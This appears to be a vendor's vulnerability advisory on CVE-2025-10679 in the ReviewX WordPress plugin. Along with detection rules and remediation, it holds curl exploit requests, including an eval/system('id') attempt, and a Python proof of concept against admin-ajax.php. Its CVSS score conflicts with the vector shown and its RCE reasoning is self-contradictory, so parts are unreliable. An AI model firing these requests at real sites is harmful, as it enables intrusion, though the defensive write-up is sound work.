CVE-2025-10679
Executive Summary
CVE-2025-10679 is a critical vulnerability in the ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More WordPress plugin, affecting all versions up to and including 2.2.12. The flaw resides in the bulkTenReviews function, which fails to properly validate user-supplied input before passing it to a variable function call mechanism. This allows an unauthenticated attacker to invoke arbitrary PHP class methods that require no parameters or have default values. Depending on the available PHP methods and server configuration, this can lead to information disclosure or remote code execution (RCE). The vulnerability is classified as a CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the ReviewX plugin. It is not a supply chain attack on the plugin's distribution mechanism (e.g., compromised update server), but rather a code-level flaw within the plugin itself. Users who have installed the plugin from the official WordPress plugin repository or via direct upload are affected. The plugin is a commercial product, and no official patch has been released at the time of analysis.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Potential for full data exposure.
- Integrity (I): High (H) – Potential for arbitrary code execution.
- Availability (A): High (H) – Potential for denial of service or system compromise.
CVSS Score: 7.3 (High) – This reflects the severe impact of unauthenticated remote code execution, though the actual exploitability depends on the presence of suitable PHP methods.
Deep Dive & Mechanics
The vulnerability is located in the bulkTenReviews function within the ReviewX plugin. This function is designed to handle bulk operations on product reviews. The core issue is that user-controlled data (likely from a POST parameter) is used directly as a function name in a variable function call (e.g., $user_input()). The code does not sanitize or validate the input against a whitelist of allowed methods.
Technical Flow:
- An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpwith an action parameter). - The
bulkTenReviewsfunction receives the request and extracts a user-controlled parameter (e.g.,method). - This parameter is passed to a PHP variable function call:
$method(). - The attacker can then call any PHP class method that requires no arguments or has default values. For example, calling
phpinfo()would disclose system information, while callingsystem('id')is not directly possible because the function call is limited to methods without parameters. However, methods likeevalorassert(if available) could be exploited for RCE.
Why it's dangerous: Even without direct RCE, an attacker can enumerate the server environment, read sensitive files via methods like file_get_contents (if accessible), or trigger other vulnerabilities. The lack of authentication makes this a high-priority threat.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common secure coding practices.
Vulnerable Code (Conceptual):
function bulkTenReviews() {
$method = $_POST['method']; // No sanitization
if (method_exists($this, $method)) {
$this->$method(); // Variable function call
}
}
Patched Code (Conceptual):
function bulkTenReviews() {
$allowed_methods = ['deleteReview', 'approveReview', 'spamReview']; // Whitelist
$method = sanitize_text_field($_POST['method']); // Sanitize input
if (in_array($method, $allowed_methods, true)) {
$this->$method(); // Safe call
} else {
wp_die('Invalid method.');
}
}
The patched version introduces a whitelist of allowed methods and sanitizes the input using WordPress's sanitize_text_field() function.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress instance with ReviewX plugin version <= 2.2.12 installed and activated.
- Network access to the WordPress admin-ajax.php endpoint.
Exploitation Steps:
- Identify the vulnerable endpoint:
/wp-admin/admin-ajax.php - Craft a POST request with the
actionparameter set to the vulnerable function (e.g.,reviewx_bulk_ten_reviews) and amethodparameter set to a desired PHP method. - Example using
curlto callphpinfo():curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=reviewx_bulk_ten_reviews&method=phpinfo" - For RCE, if the server has
evalorassertavailable as a method (unlikely but possible), the attacker could attempt:
Note: This is highly dependent on the PHP configuration and available classes.curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=reviewx_bulk_ten_reviews&method=eval&code=system('id')"
Proof of Concept (PoC) Script:
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
data = {
"action": "reviewx_bulk_ten_reviews",
"method": "phpinfo"
}
response = requests.post(target, data=data)
print(response.text)
Blue Team
Detection & Prevention:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwith parameters likemethod=phpinfoormethod=system. - Implement a Web Application Firewall (WAF) rule to block requests containing
method=followed by known dangerous functions. - Disable dangerous PHP functions like
exec,system,eval,assert,phpinfoinphp.iniusing thedisable_functionsdirective. - Apply the principle of least privilege to the web server user.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=reviewx_bulk_ten_reviewsandmethod=*. - Unusual
methodparameter values such asphpinfo,system,exec,eval,assert,file_get_contents.
- POST requests to
- File IOCs:
- Unexpected files in the web root (e.g.,
shell.php,info.php). - Modified
.htaccessfiles.
- Unexpected files in the web root (e.g.,
- System IOCs:
- Unusual processes running as the web server user.
- Outbound connections to unknown IP addresses from the web server.
Detection Engineering
YARA Rule
rule CVE_2025_10679_ReviewX_Exploit {
meta:
description = "Detects exploitation attempts for CVE-2025-10679 in ReviewX plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10679"
strings:
$method_param = "method=" nocase
$dangerous_funcs = /(phpinfo|system|exec|eval|assert|file_get_contents)/ nocase
$ajax_action = "action=reviewx_bulk_ten_reviews" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-10679 ReviewX Arbitrary Method Call
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts against CVE-2025-10679 in ReviewX WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains|all:
- 'action=reviewx_bulk_ten_reviews'
- 'method='
condition: selection
falsepositives:
- Legitimate plugin functionality (if any)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10679 ReviewX Arbitrary Method Call Exploit";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=reviewx_bulk_ten_reviews"; http_client_body;
content:"method="; http_client_body;
pcre:"/method=(phpinfo|system|exec|eval|assert|file_get_contents)/i";
sid:10000001;
rev:1;
priority:1;
reference:cve,2025-10679;
)
Remediation & Mitigation
- Immediate Action: Disable the ReviewX plugin until an official patch is released.
- Workaround: If the plugin must remain active, implement a WAF rule to block requests containing
method=in the POST body to/wp-admin/admin-ajax.php. - Long-term Fix: Apply the official patch from the vendor once available. Alternatively, manually modify the plugin code to implement a whitelist of allowed methods (as shown in the patched code section).
- Hardening: Disable dangerous PHP functions (
exec,system,eval,assert,phpinfo) inphp.iniusing thedisable_functionsdirective. - Monitoring: Enable detailed logging for
/wp-admin/admin-ajax.phpand review logs for suspicious activity.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.